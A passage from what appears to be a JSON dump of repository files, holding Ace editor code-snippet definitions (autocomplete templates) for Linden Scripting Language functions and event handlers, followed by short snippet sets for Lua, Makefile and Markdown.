llGetLinkPrimitiveParams\\n\tllGetLinkPrimitiveParams(${1:integer link}, ${2:list params})\\nsnippet llGetListEntryType\\n\tllGetListEntryType(${1:list src}, ${2:integer index})\\nsnippet llGetListLength\\n\tllGetListLength(${1:list src})\\nsnippet llGetLocalPos\\n\tllGetLocalPos()\\nsnippet llGetLocalRot\\n\tllGetLocalRot()\\nsnippet llGetMass\\n\tllGetMass()\\nsnippet llGetMassMKS\\n\tllGetMassMKS()\\nsnippet llGetMaxScaleFactor\\n\tllGetMaxScaleFactor()\\nsnippet llGetMemoryLimit\\n\tllGetMemoryLimit()\\nsnippet llGetMinScaleFactor\\n\tllGetMinScaleFactor()\\nsnippet llGetNextEmail\\n\tllGetNextEmail(${1:string address}, ${2:string subject});\\nsnippet llGetNotecardLine\\n\tllGetNotecardLine(${1:string name}, ${2:integer line})\\nsnippet llGetNumberOfNotecardLines\\n\tllGetNumberOfNotecardLines(${1:string name})\\nsnippet llGetNumberOfPrims\\n\tllGetNumberOfPrims()\\nsnippet llGetNumberOfSides\\n\tllGetNumberOfSides()\\nsnippet llGetObjectDesc\\n\tllGetObjectDesc()\\nsnippet llGetObjectDetails\\n\tllGetObjectDetails(${1:key id}, ${2:list params})\\nsnippet llGetObjectMass\\n\tllGetObjectMass(${1:key id})\\nsnippet llGetObjectName\\n\tllGetObjectName()\\nsnippet llGetObjectPermMask\\n\tllGetObjectPermMask(${1:integer mask})\\nsnippet llGetObjectPrimCount\\n\tllGetObjectPrimCount(${1:key prim})\\nsnippet llGetOmega\\n\tllGetOmega()\\nsnippet llGetOwner\\n\tllGetOwner()\\nsnippet llGetOwnerKey\\n\tllGetOwnerKey(${1:key id})\\nsnippet llGetParcelDetails\\n\tllGetParcelDetails(${1:vector pos}, ${2:list params})\\nsnippet llGetParcelFlags\\n\tllGetParcelFlags(${1:vector pos})\\nsnippet llGetParcelMaxPrims\\n\tllGetParcelMaxPrims(${1:vector pos}, ${2:integer sim_wide})\\nsnippet llGetParcelMusicURL\\n\tllGetParcelMusicURL()\\nsnippet llGetParcelPrimCount\\n\tllGetParcelPrimCount(${1:vector pos}, ${2:integer category}, ${3:integer sim_wide})\\nsnippet llGetParcelPrimOwners\\n\tllGetParcelPrimOwners(${1:vector pos})\\nsnippet llGetPermissions\\n\tllGetPermissions()\\nsnippet llGetPermissionsKey\\n\tllGetPermissionsKey()\\nsnippet llGetPhysicsMaterial\\n\tllGetPhysicsMaterial()\\nsnippet llGetPos\\n\tllGetPos()\\nsnippet llGetPrimitiveParams\\n\tllGetPrimitiveParams(${1:list params})\\nsnippet llGetPrimMediaParams\\n\tllGetPrimMediaParams(${1:integer face}, ${2:list params})\\nsnippet llGetRegionAgentCount\\n\tllGetRegionAgentCount()\\nsnippet llGetRegionCorner\\n\tllGetRegionCorner()\\nsnippet llGetRegionFlags\\n\tllGetRegionFlags()\\nsnippet llGetRegionFPS\\n\tllGetRegionFPS()\\nsnippet llGetRegionName\\n\tllGetRegionName()\\nsnippet llGetRegionTimeDilation\\n\tllGetRegionTimeDilation()\\nsnippet llGetRootPosition\\n\tllGetRootPosition()\\nsnippet llGetRootRotation\\n\tllGetRootRotation()\\nsnippet llGetRot\\n\tllGetRot()\\nsnippet llGetScale\\n\tllGetScale()\\nsnippet llGetScriptName\\n\tllGetScriptName()\\nsnippet llGetScriptState\\n\tllGetScriptState(${1:string script})\\nsnippet llGetSimStats\\n\tllGetSimStats(${1:integer stat_type})\\nsnippet llGetSimulatorHostname\\n\tllGetSimulatorHostname()\\nsnippet llGetSPMaxMemory\\n\tllGetSPMaxMemory()\\nsnippet llGetStartParameter\\n\tllGetStartParameter()\\nsnippet llGetStaticPath\\n\tllGetStaticPath(${1:vector start}, ${2:vector end}, ${3:float radius}, ${4:list params})\\nsnippet llGetStatus\\n\tllGetStatus(${1:integer status})\\nsnippet llGetSubString\\n\tllGetSubString(${1:string src}, ${2:integer start}, ${3:integer end})\\nsnippet llGetSunDirection\\n\tllGetSunDirection()\\nsnippet llGetTexture\\n\tllGetTexture(${1:integer face})\\nsnippet llGetTextureOffset\\n\tllGetTextureOffset(${1:integer face})\\nsnippet llGetTextureRot\\n\tllGetTextureRot(${1:integer face})\\nsnippet llGetTextureScale\\n\tllGetTextureScale(${1:integer face})\\nsnippet llGetTime\\n\tllGetTime()\\nsnippet llGetTimeOfDay\\n\tllGetTimeOfDay()\\nsnippet llGetTimestamp\\n\tllGetTimestamp()\\nsnippet llGetTorque\\n\tllGetTorque()\\nsnippet llGetUnixTime\\n\tllGetUnixTime()\\nsnippet llGetUsedMemory\\n\tllGetUsedMemory()\\nsnippet llGetUsername\\n\tllGetUsername(${1:key id})\\nsnippet llGetVel\\n\tllGetVel()\\nsnippet llGetWallclock\\n\tllGetWallclock()\\nsnippet llGiveInventory\\n\tllGiveInventory(${1:key destination}, ${2:string inventory});\\nsnippet llGiveInventoryList\\n\tllGiveInventoryList(${1:key target}, ${2:string folder}, ${3:list inventory});\\nsnippet llGiveMoney\\n\tllGiveMoney(${1:key destination}, ${2:integer amount})\\nsnippet llGround\\n\tllGround(${1:vector offset})\\nsnippet llGroundContour\\n\tllGroundContour(${1:vector offset})\\nsnippet llGroundNormal\\n\tllGroundNormal(${1:vector offset})\\nsnippet llGroundRepel\\n\tllGroundRepel(${1:float height}, ${2:integer water}, ${3:float tau});\\nsnippet llGroundSlope\\n\tllGroundSlope(${1:vector offset})\\nsnippet llHTTPRequest\\n\tllHTTPRequest(${1:string url}, ${2:list parameters}, ${3:string body})\\nsnippet llHTTPResponse\\n\tllHTTPResponse(${1:key request_id}, ${2:integer status}, ${3:string body});\\nsnippet llInsertString\\n\tllInsertString(${1:string dst}, ${2:integer pos}, ${3:string src})\\nsnippet llInstantMessage\\n\tllInstantMessage(${1:key user}, ${2:string message});\\nsnippet llIntegerToBase64\\n\tllIntegerToBase64(${1:integer number})\\nsnippet llJson2List\\n\tllJson2List(${1:string json})\\nsnippet llJsonGetValue\\n\tllJsonGetValue(${1:string json}, ${2:list specifiers})\\nsnippet llJsonSetValue\\n\tllJsonSetValue(${1:string json}, ${2:list specifiers}, ${3:string newValue})\\nsnippet llJsonValueType\\n\tllJsonValueType(${1:string json}, ${2:list specifiers})\\nsnippet llKey2Name\\n\tllKey2Name(${1:key id})\\nsnippet llKeyCountKeyValue\\n\tllKeyCountKeyValue()\\nsnippet llKeysKeyValue\\n\tllKeysKeyValue(${1:integer first}, ${2:integer count})\\nsnippet llLinkParticleSystem\\n\tllLinkParticleSystem(${1:integer link}, ${2:list rules});\\nsnippet llLinkSitTarget\\n\tllLinkSitTarget(${1:integer link}, ${2:vector offset}, ${3:rotation rot});\\nsnippet llList2CSV\\n\tllList2CSV(${1:list src})\\nsnippet llList2Float\\n\tllList2Float(${1:list src}, ${2:integer index})\\nsnippet llList2Integer\\n\tllList2Integer(${1:list src}, ${2:integer index})\\nsnippet llList2Json\\n\tllList2Json(${1:string type}, ${2:list values})\\nsnippet llList2Key\\n\tllList2Key(${1:list src}, ${2:integer index})\\nsnippet llList2List\\n\tllList2List(${1:list src}, ${2:integer start}, ${3:integer end})\\nsnippet llList2ListStrided\\n\tllList2ListStrided(${1:list src}, ${2:integer start}, ${3:integer end}, ${4:integer stride})\\nsnippet llList2Rot\\n\tllList2Rot(${1:list src}, ${2:integer index})\\nsnippet llList2String\\n\tllList2String(${1:list src}, ${2:integer index})\\nsnippet llList2Vector\\n\tllList2Vector(${1:list src}, ${2:integer index})\\nsnippet llListen\\n\tllListen(${1:integer channel}, ${2:string name}, ${3:key id}, ${4:string msg})\\nsnippet llListenControl\\n\tllListenControl(${1:integer handle}, ${2:integer active});\\nsnippet llListenRemove\\n\tllListenRemove(${1:integer handle});\\nsnippet llListFindList\\n\tllListFindList(${1:list src}, ${2:list test})\\nsnippet llListInsertList\\n\tllListInsertList(${1:list dest}, ${2:list src}, ${3:integer start})\\nsnippet llListRandomize\\n\tllListRandomize(${1:list src}, ${2:integer stride})\\nsnippet llListReplaceList\\n\tllListReplaceList(${1:list dest}, ${2:list src}, ${3:integer start}, ${4:integer end})\\nsnippet llListSort\\n\tllListSort(${1:list src}, ${2:integer stride}, ${3:integer ascending})\\nsnippet llListStatistics\\n\tllListStatistics(${1:integer operation}, ${2:list src})\\nsnippet llLoadURL\\n\tllLoadURL(${1:key agent}, ${2:string message}, ${3:string url});\\nsnippet llLog\\n\tllLog(${1:float val})\\nsnippet llLog10\\n\tllLog10(${1:float val})\\nsnippet llLookAt\\n\tllLookAt(${1:vector target}, ${2:float strength}, ${3:float damping});\\nsnippet llLoopSound\\n\tllLoopSound(${1:string sound}, ${2:float volume});\\nsnippet llLoopSoundMaster\\n\tllLoopSoundMaster(${1:string sound}, ${2:float volume});\\nsnippet llLoopSoundSlave\\n\tllLoopSoundSlave(${1:string sound}, ${2:float volume});\\nsnippet llManageEstateAccess\\n\tllManageEstateAccess(${1:integer action}, ${2:key agent})\\nsnippet llMapDestination\\n\tllMapDestination(${1:string simname}, ${2:vector pos}, ${3:vector look_at});\\nsnippet llMD5String\\n\tllMD5String(${1:string src}, ${2:integer nonce})\\nsnippet llMessageLinked\\n\tllMessageLinked(${1:integer link}, ${2:integer num}, ${3:string str}, ${4:key id});\\nsnippet llMinEventDelay\\n\tllMinEventDelay(${1:float delay});\\nsnippet llModifyLand\\n\tllModifyLand(${1:integer action}, ${2:integer brush});\\nsnippet llModPow\\n\tllModPow(${1:integer a}, ${2:integer b}, ${3:integer c})\\nsnippet llMoveToTarget\\n\tllMoveToTarget(${1:vector target}, ${2:float tau});\\nsnippet llNavigateTo\\n\tllNavigateTo(${1:vector pos}, ${2:list options});\\nsnippet llOffsetTexture\\n\tllOffsetTexture(${1:float u}, ${2:float v}, ${3:integer face});\\nsnippet llOpenRemoteDataChannel\\n\tllOpenRemoteDataChannel();\\nsnippet llOverMyLand\\n\tllOverMyLand(${1:key id})\\nsnippet llOwnerSay\\n\tllOwnerSay(${1:string msg});\\nsnippet llParcelMediaCommandList\\n\tllParcelMediaCommandList(${1:list commandList});\\nsnippet llParcelMediaQuery\\n\tllParcelMediaQuery(${1:list query})\\nsnippet llParseString2List\\n\tllParseString2List(${1:string src}, ${2:list separators}, ${3:list spacers})\\nsnippet llParseStringKeepNulls\\n\tllParseStringKeepNulls(${1:string src}, ${2:list separators}, ${3:list spacers})\\nsnippet llParticleSystem\\n\tllParticleSystem(${1:list rules});\\nsnippet llPassCollisions\\n\tllPassCollisions(${1:integer pass});\\nsnippet llPassTouches\\n\tllPassTouches(${1:integer pass});\\nsnippet llPatrolPoints\\n\tllPatrolPoints(${1:list patrolPoints}, ${2:list options});\\nsnippet llPlaySound\\n\tllPlaySound(${1:string sound}, ${2:float volume});\\nsnippet llPlaySoundSlave\\n\tllPlaySoundSlave(${1:string sound}, ${2:float volume});\\nsnippet llPow\\n\tllPow(${1:float base}, ${2:float exponent})\\nsnippet llPreloadSound\\n\tllPreloadSound(${1:string sound});\\nsnippet llPursue\\n\tllPursue(${1:key target}, ${2:list options});\\nsnippet llPushObject\\n\tllPushObject(${1:key target}, ${2:vector impulse}, ${3:vector ang_impulse}, ${4:integer local});\\nsnippet llReadKeyValue\\n\tllReadKeyValue(${1:string k})\\nsnippet llRegionSay\\n\tllRegionSay(${1:integer channel}, ${2:string msg});\\nsnippet llRegionSayTo\\n\tllRegionSayTo(${1:key target}, ${2:integer channel}, ${3:string msg});\\nsnippet llReleaseControls\\n\tllReleaseControls();\\nsnippet llReleaseURL\\n\tllReleaseURL(${1:string url});\\nsnippet llRemoteDataReply\\n\tllRemoteDataReply(${1:key channel}, ${2:key message_id}, ${3:string sdata}, ${4:integer idata});\\nsnippet llRemoteLoadScriptPin\\n\tllRemoteLoadScriptPin(${1:key target}, ${2:string name}, ${3:integer pin}, ${4:integer running}, ${5:integer start_param});\\nsnippet llRemoveFromLandBanList\\n\tllRemoveFromLandBanList(${1:key agent});\\nsnippet llRemoveFromLandPassList\\n\tllRemoveFromLandPassList(${1:key agent});\\nsnippet llRemoveInventory\\n\tllRemoveInventory(${1:string item});\\nsnippet llRemoveVehicleFlags\\n\tllRemoveVehicleFlags(${1:integer flags});\\nsnippet llRequestAgentData\\n\tllRequestAgentData(${1:key id}, ${2:integer data})\\nsnippet llRequestDisplayName\\n\tllRequestDisplayName(${1:key id})\\nsnippet llRequestExperiencePermissions\\n\tllRequestExperiencePermissions(${1:key agent}, ${2:string name})\\nsnippet llRequestInventoryData\\n\tllRequestInventoryData(${1:string name})\\nsnippet llRequestPermissions\\n\tllRequestPermissions(${1:key agent}, ${2:integer permissions})\\nsnippet llRequestSecureURL\\n\tllRequestSecureURL()\\nsnippet llRequestSimulatorData\\n\tllRequestSimulatorData(${1:string region}, ${2:integer data})\\nsnippet llRequestURL\\n\tllRequestURL()\\nsnippet llRequestUsername\\n\tllRequestUsername(${1:key id})\\nsnippet llResetAnimationOverride\\n\tllResetAnimationOverride(${1:string anim_state});\\nsnippet llResetLandBanList\\n\tllResetLandBanList();\\nsnippet llResetLandPassList\\n\tllResetLandPassList();\\nsnippet llResetOtherScript\\n\tllResetOtherScript(${1:string name});\\nsnippet llResetScript\\n\tllResetScript();\\nsnippet llResetTime\\n\tllResetTime();\\nsnippet llReturnObjectsByID\\n\tllReturnObjectsByID(${1:list objects})\\nsnippet llReturnObjectsByOwner\\n\tllReturnObjectsByOwner(${1:key owner}, ${2:integer scope})\\nsnippet llRezAtRoot\\n\tllRezAtRoot(${1:string inventory}, ${2:vector position}, ${3:vector velocity}, ${4:rotation rot}, ${5:integer param});\\nsnippet llRezObject\\n\tllRezObject(${1:string inventory}, ${2:vector pos}, ${3:vector vel}, ${4:rotation rot}, ${5:integer param});\\nsnippet llRot2Angle\\n\tllRot2Angle(${1:rotation rot})\\nsnippet llRot2Axis\\n\tllRot2Axis(${1:rotation rot})\\nsnippet llRot2Euler\\n\tllRot2Euler(${1:rotation quat})\\nsnippet llRot2Fwd\\n\tllRot2Fwd(${1:rotation q})\\nsnippet llRot2Left\\n\tllRot2Left(${1:rotation q})\\nsnippet llRot2Up\\n\tllRot2Up(${1:rotation q})\\nsnippet llRotateTexture\\n\tllRotateTexture(${1:float angle}, ${2:integer face});\\nsnippet llRotBetween\\n\tllRotBetween(${1:vector start}, ${2:vector end})\\nsnippet llRotLookAt\\n\tllRotLookAt(${1:rotation target_direction}, ${2:float strength}, ${3:float damping});\\nsnippet llRotTarget\\n\tllRotTarget(${1:rotation rot}, ${2:float error})\\nsnippet llRotTargetRemove\\n\tllRotTargetRemove(${1:integer handle});\\nsnippet llRound\\n\tllRound(${1:float val})\\nsnippet llSameGroup\\n\tllSameGroup(${1:key group})\\nsnippet llSay\\n\tllSay(${1:integer channel}, ${2:string msg});\\nsnippet llScaleByFactor\\n\tllScaleByFactor(${1:float scaling_factor})\\nsnippet llScaleTexture\\n\tllScaleTexture(${1:float u}, ${2:float v}, ${3:integer face});\\nsnippet llScriptDanger\\n\tllScriptDanger(${1:vector pos})\\nsnippet llScriptProfiler\\n\tllScriptProfiler(${1:integer flags});\\nsnippet llSendRemoteData\\n\tllSendRemoteData(${1:key channel}, ${2:string dest}, ${3:integer idata}, ${4:string sdata})\\nsnippet llSensor\\n\tllSensor(${1:string name}, ${2:key id}, ${3:integer type}, ${4:float range}, ${5:float arc});\\nsnippet llSensorRepeat\\n\tllSensorRepeat(${1:string name}, ${2:key id}, ${3:integer type}, ${4:float range}, ${5:float arc}, ${6:float rate});\\nsnippet llSetAlpha\\n\tllSetAlpha(${1:float alpha}, ${2:integer face});\\nsnippet llSetAngularVelocity\\n\tllSetAngularVelocity(${1:vector force}, ${2:integer local});\\nsnippet llSetAnimationOverride\\n\tllSetAnimationOverride(${1:string anim_state}, ${2:string anim})\\nsnippet llSetBuoyancy\\n\tllSetBuoyancy(${1:float buoyancy});\\nsnippet llSetCameraAtOffset\\n\tllSetCameraAtOffset(${1:vector offset});\\nsnippet llSetCameraEyeOffset\\n\tllSetCameraEyeOffset(${1:vector offset});\\nsnippet llSetCameraParams\\n\tllSetCameraParams(${1:list rules});\\nsnippet llSetClickAction\\n\tllSetClickAction(${1:integer action});\\nsnippet llSetColor\\n\tllSetColor(${1:vector color}, ${2:integer face});\\nsnippet llSetContentType\\n\tllSetContentType(${1:key request_id}, ${2:integer content_type});\\nsnippet llSetDamage\\n\tllSetDamage(${1:float damage});\\nsnippet llSetForce\\n\tllSetForce(${1:vector force}, ${2:integer local});\\nsnippet llSetForceAndTorque\\n\tllSetForceAndTorque(${1:vector force}, ${2:vector torque}, ${3:integer local});\\nsnippet llSetHoverHeight\\n\tllSetHoverHeight(${1:float height}, ${2:integer water}, ${3:float tau});\\nsnippet llSetKeyframedMotion\\n\tllSetKeyframedMotion(${1:list keyframes}, ${2:list options});\\nsnippet llSetLinkAlpha\\n\tllSetLinkAlpha(${1:integer link}, ${2:float alpha}, ${3:integer face});\\nsnippet llSetLinkCamera\\n\tllSetLinkCamera(${1:integer link}, ${2:vector eye}, ${3:vector at});\\nsnippet llSetLinkColor\\n\tllSetLinkColor(${1:integer link}, ${2:vector color}, ${3:integer face});\\nsnippet llSetLinkMedia\\n\tllSetLinkMedia(${1:integer link}, ${2:integer face}, ${3:list params});\\nsnippet llSetLinkPrimitiveParams\\n\tllSetLinkPrimitiveParams(${1:integer link}, ${2:list rules});\\nsnippet llSetLinkPrimitiveParamsFast\\n\tllSetLinkPrimitiveParamsFast(${1:integer link}, ${2:list rules});\\nsnippet llSetLinkTexture\\n\tllSetLinkTexture(${1:integer link}, ${2:string texture}, ${3:integer face});\\nsnippet llSetLinkTextureAnim\\n\tllSetLinkTextureAnim(${1:integer link}, ${2:integer mode}, ${3:integer face}, ${4:integer sizex}, ${5:integer sizey}, ${6:float start}, ${7:float length}, ${8:float rate});\\nsnippet llSetLocalRot\\n\tllSetLocalRot(${1:rotation rot});\\nsnippet llSetMemoryLimit\\n\tllSetMemoryLimit(${1:integer limit})\\nsnippet llSetObjectDesc\\n\tllSetObjectDesc(${1:string description});\\nsnippet llSetObjectName\\n\tllSetObjectName(${1:string name});\\nsnippet llSetParcelMusicURL\\n\tllSetParcelMusicURL(${1:string url});\\nsnippet llSetPayPrice\\n\tllSetPayPrice(${1:integer price}, [${2:integer price_button_a}, ${3:integer price_button_b}, ${4:integer price_button_c}, ${5:integer price_button_d}]);\\nsnippet llSetPhysicsMaterial\\n\tllSetPhysicsMaterial(${1:integer mask}, ${2:float gravity_multiplier}, ${3:float restitution}, ${4:float friction}, ${5:float density});\\nsnippet llSetPos\\n\tllSetPos(${1:vector pos});\\nsnippet llSetPrimitiveParams\\n\tllSetPrimitiveParams(${1:list rules});\\nsnippet llSetPrimMediaParams\\n\tllSetPrimMediaParams(${1:integer face}, ${2:list params});\\nsnippet llSetRegionPos\\n\tllSetRegionPos(${1:vector position})\\nsnippet llSetRemoteScriptAccessPin\\n\tllSetRemoteScriptAccessPin(${1:integer pin});\\nsnippet llSetRot\\n\tllSetRot(${1:rotation rot});\\nsnippet llSetScale\\n\tllSetScale(${1:vector size});\\nsnippet llSetScriptState\\n\tllSetScriptState(${1:string name}, ${2:integer run});\\nsnippet llSetSitText\\n\tllSetSitText(${1:string text});\\nsnippet llSetSoundQueueing\\n\tllSetSoundQueueing(${1:integer queue});\\nsnippet llSetSoundRadius\\n\tllSetSoundRadius(${1:float radius});\\nsnippet llSetStatus\\n\tllSetStatus(${1:integer status}, ${2:integer value});\\nsnippet llSetText\\n\tllSetText(${1:string text}, ${2:vector color}, ${3:float alpha});\\nsnippet llSetTexture\\n\tllSetTexture(${1:string texture}, ${2:integer face});\\nsnippet llSetTextureAnim\\n\tllSetTextureAnim(${1:integer mode}, ${2:integer face}, ${3:integer sizex}, ${4:integer sizey}, ${5:float start}, ${6:float length}, ${7:float rate});\\nsnippet llSetTimerEvent\\n\tllSetTimerEvent(${1:float sec});\\nsnippet llSetTorque\\n\tllSetTorque(${1:vector torque}, ${2:integer local});\\nsnippet llSetTouchText\\n\tllSetTouchText(${1:string text});\\nsnippet llSetVehicleFlags\\n\tllSetVehicleFlags(${1:integer flags});\\nsnippet llSetVehicleFloatParam\\n\tllSetVehicleFloatParam(${1:integer param}, ${2:float value});\\nsnippet llSetVehicleRotationParam\\n\tllSetVehicleRotationParam(${1:integer param}, ${2:rotation rot});\\nsnippet llSetVehicleType\\n\tllSetVehicleType(${1:integer type});\\nsnippet llSetVehicleVectorParam\\n\tllSetVehicleVectorParam(${1:integer param}, ${2:vector vec});\\nsnippet llSetVelocity\\n\tllSetVelocity(${1:vector force}, ${2:integer local});\\nsnippet llSHA1String\\n\tllSHA1String(${1:string src})\\nsnippet llShout\\n\tllShout(${1:integer channel}, ${2:string msg});\\nsnippet llSin\\n\tllSin(${1:float theta})\\nsnippet llSitTarget\\n\tllSitTarget(${1:vector offset}, ${2:rotation rot});\\nsnippet llSleep\\n\tllSleep(${1:float sec});\\nsnippet llSqrt\\n\tllSqrt(${1:float val})\\nsnippet llStartAnimation\\n\tllStartAnimation(${1:string anim});\\nsnippet llStopAnimation\\n\tllStopAnimation(${1:string anim});\\nsnippet llStopHover\\n\tllStopHover();\\nsnippet llStopLookAt\\n\tllStopLookAt();\\nsnippet llStopMoveToTarget\\n\tllStopMoveToTarget();\\nsnippet llStopSound\\n\tllStopSound();\\nsnippet llStringLength\\n\tllStringLength(${1:string str})\\nsnippet llStringToBase64\\n\tllStringToBase64(${1:string str})\\nsnippet llStringTrim\\n\tllStringTrim(${1:string src}, ${2:integer type})\\nsnippet llSubStringIndex\\n\tllSubStringIndex(${1:string source}, ${2:string pattern})\\nsnippet llTakeControls\\n\tllTakeControls(${1:integer controls}, ${2:integer accept}, ${3:integer pass_on});\\nsnippet llTan\\n\tllTan(${1:float theta})\\nsnippet llTarget\\n\tllTarget(${1:vector position}, ${2:float range})\\nsnippet llTargetOmega\\n\tllTargetOmega(${1:vector axis}, ${2:float spinrate}, ${3:float gain});\\nsnippet llTargetRemove\\n\tllTargetRemove(${1:integer handle});\\nsnippet llTeleportAgent\\n\tllTeleportAgent(${1:key agent}, ${2:string landmark}, ${3:vector position}, ${4:vector look_at});\\nsnippet llTeleportAgentGlobalCoords\\n\tllTeleportAgentGlobalCoords(${1:key agent}, ${2:vector global_coordinates}, ${3:vector region_coordinates}, ${4:vector look_at});\\nsnippet llTeleportAgentHome\\n\tllTeleportAgentHome(${1:key agent});\\nsnippet llTextBox\\n\tllTextBox(${1:key agent}, ${2:string message}, ${3:integer channel});\\nsnippet llToLower\\n\tllToLower(${1:string src})\\nsnippet llToUpper\\n\tllToUpper(${1:string src})\\nsnippet llTransferLindenDollars\\n\tllTransferLindenDollars(${1:key destination}, ${2:integer amount})\\nsnippet llTriggerSound\\n\tllTriggerSound(${1:string sound}, ${2:float volume});\\nsnippet llTriggerSoundLimited\\n\tllTriggerSoundLimited(${1:string sound}, ${2:float volume}, ${3:vector top_north_east}, ${4:vector bottom_south_west});\\nsnippet llUnescapeURL\\n\tllUnescapeURL(${1:string url})\\nsnippet llUnSit\\n\tllUnSit(${1:key id});\\nsnippet llUpdateCharacter\\n\tllUpdateCharacter(${1:list options})\\nsnippet llUpdateKeyValue\\n\tllUpdateKeyValue(${1:string k}, ${2:string v}, ${3:integer checked}, ${4:string ov})\\nsnippet llVecDist\\n\tllVecDist(${1:vector vec_a}, ${2:vector vec_b})\\nsnippet llVecMag\\n\tllVecMag(${1:vector vec})\\nsnippet llVecNorm\\n\tllVecNorm(${1:vector vec})\\nsnippet llVolumeDetect\\n\tllVolumeDetect(${1:integer detect});\\nsnippet llWanderWithin\\n\tllWanderWithin(${1:vector origin}, ${2:vector dist}, ${3:list options});\\nsnippet llWater\\n\tllWater(${1:vector offset});\\nsnippet llWhisper\\n\tllWhisper(${1:integer channel}, ${2:string msg});\\nsnippet llWind\\n\tllWind(${1:vector offset});\\nsnippet llXorBase64\\n\tllXorBase64(${1:string str1}, ${2:string str2})\\nsnippet money\\n\tmoney(${1:key id}, ${2:integer amount})\\n\t{\\n\t\t$0\\n\t}\\nsnippet object_rez\\n\tobject_rez(${1:key id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet on_rez\\n\ton_rez(${1:integer start_param})\\n\t{\\n\t\t$0\\n\t}\\nsnippet path_update\\n\tpath_update(${1:integer type}, ${2:list reserved})\\n\t{\\n\t\t$0\\n\t}\\nsnippet remote_data\\n\tremote_data(${1:integer event_type}, ${2:key channel}, ${3:key message_id}, ${4:string sender}, ${5:integer idata}, ${6:string sdata})\\n\t{\\n\t\t$0\\n\t}\\nsnippet run_time_permissions\\n\trun_time_permissions(${1:integer perm})\\n\t{\\n\t\t$0\\n\t}\\nsnippet sensor\\n\tsensor(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet state\\n\tstate ${1:name}\\nsnippet touch\\n\ttouch(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet touch_end\\n\ttouch_end(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet touch_start\\n\ttouch_start(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet transaction_result\\n\ttransaction_result(${1:key id}, ${2:integer success}, ${3:string data})\\n\t{\\n\t\t$0\\n\t}\\nsnippet while\\n\twhile (${1:condition})\\n\t{\\n\t\t$0\\n\t}\\n\",t.scope=\"lsl\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/lua.js",
    "content": "ace.define(\"ace/snippets/lua\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet #!\\n\t#!/usr/bin/env lua\\n\t$1\\nsnippet local\\n\tlocal ${1:x} = ${2:1}\\nsnippet fun\\n\tfunction ${1:fname}(${2:...})\\n\t\t${3:-- body}\\n\tend\\nsnippet for\\n\tfor ${1:i}=${2:1},${3:10} do\\n\t\t${4:print(i)}\\n\tend\\nsnippet forp\\n\tfor ${1:i},${2:v} in pairs(${3:table_name}) do\\n\t   ${4:-- body}\\n\tend\\nsnippet fori\\n\tfor ${1:i},${2:v} in ipairs(${3:table_name}) do\\n\t   ${4:-- body}\\n\tend\\n\",t.scope=\"lua\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/luapage.js",
    "content": "ace.define(\"ace/snippets/luapage\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"luapage\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/lucene.js",
    "content": "ace.define(\"ace/snippets/lucene\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"lucene\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/makefile.js",
    "content": "ace.define(\"ace/snippets/makefile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet ifeq\\n\tifeq (${1:cond0},${2:cond1})\\n\t\t${3:code}\\n\tendif\\n\",t.scope=\"makefile\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/markdown.js",
    "content": "ace.define(\"ace/snippets/markdown\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Markdown\\n\\n# Includes octopress (http://octopress.org/) snippets\\n\\nsnippet [\\n\t[${1:text}](http://${2:address} \"${3:title}\")\\nsnippet [*\\n\t[${1:link}](${2:`@*`} \"${3:title}\")${4}\\n\\nsnippet [:\\n\t[${1:id}]: http://${2:url} \"${3:title}\"\\nsnippet [:*\\n\t[${1:id}]: ${2:`@*`} \"${3:title}\"\\n\\nsnippet ![\\n\t![${1:alttext}](${2:/images/image.jpg} \"${3:title}\")\\nsnippet ![*\\n\t![${1:alt}](${2:`@*`} \"${3:title}\")${4}\\n\\nsnippet ![:\\n\t![${1:id}]: ${2:url} \"${3:title}\"\\nsnippet ![:*\\n\t![${1:id}]: ${2:`@*`} \"${3:title}\"\\n\\nsnippet ===\\nregex /^/=+/=*//\\n\t${PREV_LINE/./=/g}\\n\t\\n\t${0}\\nsnippet ---\\nregex /^/-+/-*//\\n\t${PREV_LINE/./-/g}\\n\t\\n\t${0}\\nsnippet blockquote\\n\t{% blockquote %}\\n\t${1:quote}\\n\t{% endblockquote %}\\n\\nsnippet blockquote-author\\n\t{% blockquote ${1:author}, ${2:title} %}\\n\t${3:quote}\\n\t{% endblockquote %}\\n\\nsnippet blockquote-link\\n\t{% blockquote ${1:author} ${2:URL} ${3:link_text} %}\\n\t${4:quote}\\n\t{% endblockquote %}\\n\\nsnippet bt-codeblock-short\\n\t```\\n\t${1:code_snippet}\\n\t```\\n\\nsnippet bt-codeblock-full\\n\t``` ${1:language} ${2:title} ${3:URL} ${4:link_text}\\n\t${5:code_snippet}\\n\t```\\n\\nsnippet codeblock-short\\n\t{% codeblock %}\\n\t${1:code_snippet}\\n\t{% endcodeblock %}\\n\\nsnippet codeblock-full\\n\t{% codeblock ${1:title} lang:${2:language} ${3:URL} ${4:link_text} %}\\n\t${5:code_snippet}\\n\t{% endcodeblock %}\\n\\nsnippet gist-full\\n\t{% gist ${1:gist_id} ${2:filename} %}\\n\\nsnippet gist-short\\n\t{% gist ${1:gist_id} %}\\n\\nsnippet img\\n\t{% img ${1:class} ${2:URL} ${3:width} ${4:height} ${5:title_text} ${6:alt_text} %}\\n\\nsnippet youtube\\n\t{% youtube ${1:video_id} %}\\n\\n# The quote should appear only once in the text. It is inherently part of it.\\n# See http://octopress.org/docs/plugins/pullquote/ for more info.\\n\\nsnippet pullquote\\n\t{% pullquote %}\\n\t${1:text} {\" ${2:quote} \"} ${3:text}\\n\t{% endpullquote %}\\n',t.scope=\"markdown\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/mask.js",
